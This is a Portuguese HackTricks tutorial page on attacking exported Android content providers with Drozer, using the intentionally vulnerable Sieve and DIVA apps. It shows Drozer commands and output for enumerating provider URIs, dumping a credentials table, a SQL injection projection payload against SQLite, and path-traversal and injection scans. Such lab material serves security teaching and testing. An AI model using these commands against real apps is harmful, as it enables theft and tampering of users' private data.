9.9 KiB
Explorando Content Providers
Explorando Content Providers
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Introdução
Um componente de content provider fornece dados de um aplicativo para outros mediante solicitação. Tais solicitações são tratadas pelos métodos da classe ContentResolver. Um content provider pode usar diferentes maneiras de armazenar seus dados e os dados podem ser armazenados em um banco de dados, em arquivos, ou até mesmo através de uma rede.
Ele deve ser declarado dentro do arquivo Manifest.xml. Exemplo:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Neste caso, é necessário a permissão READ_KEYS
para acessar content://com.mwr.example.sieve.DBContentProvider/Keys
(Observe também que na próxima seção vamos acessar /Keys/
, que não está protegido, isso porque o desenvolvedor se confundiu e protegeu /Keys
mas declarou /Keys/
)
Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).
Obter informações de provedores de conteúdo expostos
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Podemos reconstruir parte dos URIs de conteúdo para acessar o DBContentProvider, pois sabemos que eles devem começar com "content://" e a informação obtida pelo Drozer dentro do Caminho: /Keys.
O Drozer pode adivinhar e tentar vários URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Você também deve verificar o código do ContentProvider para buscar por consultas:
Além disso, se você não conseguir encontrar consultas completas, você pode verificar quais nomes são declarados pelo ContentProvider no método onCreate
:
A consulta será como: content://nome.do.pacote.classe/nome_declarado
Content Providers com Base de Dados
Provavelmente a maioria dos Content Providers são usados como interface para um banco de dados. Portanto, se você conseguir acessá-lo, poderá ser capaz de extrair, atualizar, inserir e deletar informações.
Verifique se você pode acessar informações sensíveis ou tente alterá-las para burlar mecanismos de autorização.
Ao verificar o código do Content Provider, procure também por funções com nomes como: query, insert, update e delete:
Porque você será capaz de chamá-las
Consultar conteúdo
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Inserir conteúdo
Ao consultar o banco de dados, você aprenderá o nome das colunas, então, você poderá inserir dados no DB:
Note que em inserir e atualizar você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean
Atualizar conteúdo
Conhecendo o nome das colunas, você também poderá modificar as entradas:
Deletar conteúdo
Injeção SQL
É simples testar para injeção SQL (SQLite) manipulando os campos de projeção e seleção que são passados para o provedor de conteúdo.
Ao consultar o Provedor de Conteúdo, existem 2 argumentos interessantes para buscar informações: --selection e --projection:
Você pode tentar abusar desses parâmetros para testar injeções SQL:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Descoberta automática de SQLInjection pelo Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Provedores de Conteúdo com Suporte a Sistema de Arquivos
Provedores de conteúdo também podem ser usados para acessar arquivos:
Ler arquivo
Você pode ler arquivos do Provedor de Conteúdo
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Se você pode acessar arquivos, pode tentar abusar de um Path Traversal (neste caso não é necessário, mas você pode tentar usar "../" e truques semelhantes).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Descoberta automática de Path Traversal pelo Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Referências
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.